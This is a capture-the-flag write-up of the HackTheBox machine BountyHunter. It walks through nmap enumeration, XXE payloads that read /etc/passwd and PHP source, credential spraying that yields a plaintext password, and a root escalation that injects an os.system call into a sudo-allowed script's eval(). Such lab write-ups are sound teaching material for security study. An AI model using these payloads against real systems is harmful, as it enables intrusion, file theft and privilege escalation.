HackTheBox: BountyHunter
Today, we are delving into BountyHunter as another HackTheBox machine in our sidetrack series.
I hope you have a nice weekend and without further ado, let us jump right in!
Enumeration
Nmap output
┌──(kali㉿kali)-[~/Desktop/HTB/Boxes/BountyHunter]
└─$ cat nmap/BountyHunter.nmap
# Nmap 7.91 scan initiated Sat Oct 2 22:12:07 2021 as: nmap -sS -sV -sC -p- -v -oA nmap/BountyHunter 10.10.11.100
Nmap scan report for 10.10.11.100
Host is up (0.048s latency).
Not shown: 65533 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 d4:4c:f5:79:9a:79:a3:b0:f1:66:25:52:c9:53:1f:e1 (RSA)
| 256 a2:1e:67:61:8d:2f:7a:37:a7:ba:3b:51:08:e8:89:a6 (ECDSA)
|_ 256 a5:75:16:d9:69:58:50:4a:14:11:7a:42:c1:b6:23:44 (ED25519)
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
|_http-favicon: Unknown favicon MD5: 556F31ACD686989B1AFCF382C05846AA
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Bounty Hunters
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Based on nmap result, Apache and SSH service were running on port 80 and 22, respectively.
The default index shows no conspicuous detail aside from its portal redirecting to a report form.

Initially, several XSS/SQLi payloads were tested but displayed incapable of producing any useful result, albeit the input values seemed not to be filtered or sanitized for special characters.
Exploitation
XML Eternal Entity
As the above solution is not possible, let us use BurpSuite to intercept requests and get a closer look.

From here you can tell that the value of data field is encoded, so I prefer using CyberChef, a powerful yet simple utility, to analyze and decode it.
Our recipe consists of URL Decode and From Base64, sequentially.

The output is of XML and thereby allowing us to interfere and view files on the target server filesystem as well as other back-end sources or external entities that the server itself can access. This is an XXE injection, a type of attack against an application that parses XML input.
You can read more about XXE here.
Thanks to that, we can make an attempt to trigger the XXE vulnerability. The following payload includes and shows us the /etc/passwd on the server.
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
<bugreport>
<title>&xxe;</title>
<cwe>x</cwe>
<cvss>x</cvss>
<reward>aaaa></reward>
</bugreport>
And the return is:

In case the expect:// module is available on the target server then you can craft your payload as below and actually get RCE.
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "expect://ls" >]> <!-- execute "ls" command -->
<bugreport>
<title>&xxe;</title>
<cwe>x</cwe>
<cvss>x</cvss>
<reward>aaaa></reward>
</bugreport>
Unfortunately, the result is just four empty fields, which indicates that expect:// is not loaded or this is a blind injection. Not really matter, though.

We still have another solution of using a PHP wrapper to retrieve back-end files on the server. If you still remember, we have already used it in one of my university challenges.
So our new payload is as following:
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=index.php" >]>
<bugreport>
<title>&xxe;</title>
<cwe>x</cwe>
<cvss>x</cvss>
<reward>aaaa></reward>
</bugreport>
It reads and encodes index.php on the server to a base64 string.

Yet it is just some HTML and CSS, nothing special so I have gobuster enumerating .php and other sensitive extensions.

After retrieving db.php and decoding the content, we have some credentials.

But neither test nor admin was a valid username for SSH login, so I try looking for another user with console on the server system by searching for /bin/bash or /home/(username) in the /etc/passwd file.

There are just root and Development.
Credentials spraying with CME
In this step, CrackMapExec (CME) should be able to help us get into the server internal. In order to work, CME needs two files containing all usernames and passwords (i.e, user.txt and pass.txt).

And the valid credentials are: development:m19RoAU0hP41A1sTsq6K.

Privilege Escalation
To know whether development user is capable of executing command as superuser or not, try $ sudo -l:
development@bountyhunter:~$ sudo -l
Matching Defaults entries for development on
bountyhunter:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User development may run the following commands on
bountyhunter:
(root) NOPASSWD: /usr/bin/python3.8
/opt/skytrain_inc/ticketValidator.py
As can be seen, development can execute /usr/bin/python3.8 /opt/skytrain_inc/ticketValidator.py as root without password.
Eval() == Evil
Reading /opt/skytrain_inc/ticketValidator.py source.
#Skytrain Inc Ticket Validation System 0.1
#Do not distribute this file.
def load_file(loc):
if loc.endswith(".md"):
return open(loc, 'r')
else:
print("Wrong file type.")
exit()
def evaluate(ticketFile):
#Evaluates a ticket to check for ireggularities.
code_line = None
for i,x in enumerate(ticketFile.readlines()):
if i == 0:
if not x.startswith("# Skytrain Inc"):
return False
continue
if i == 1:
if not x.startswith("## Ticket to "):
return False
print(f"Destination: {' '.join(x.strip().split(' ')[3:])}")
continue
if x.startswith("__Ticket Code:__"):
code_line = i+1
continue
if code_line and i == code_line:
if not x.startswith("**"):
return False
ticketCode = x.replace("**", "").split("+")[0]
if int(ticketCode) % 7 == 4:
validationNumber = eval(x.replace("**", ""))
if validationNumber > 100:
return True
else:
return False
return False
def main():
fileName = input("Please enter the path to the ticket file.\n")
ticket = load_file(fileName)
#DEBUG print(ticket)
result = evaluate(ticket)
if (result):
print("Valid ticket.")
else:
print("Invalid ticket.")
ticket.close
main()
Code breakdown:
load_file checks whether the file extension is .md or not.
evaluate
- returns
Falsewhether the first line doesn’t start with# Skytrain Incor## Ticket to; otherwise, prints the destination and continues. - reads the string below “__Ticket Code:__”, removes (**) and thereafter assigns the number before the (+) operator as
ticketCode. - Executes the following string as code whether the modulo of
ticketCodeand 7 is 4.
Hence, our root_ticket.md:
Skytrain Inc
## Ticket to New Haven
__Ticket Code:__
**32+100 and __import__('os').system('cat /root/root.txt')
##Issued: 2021/10/03
#End Ticket
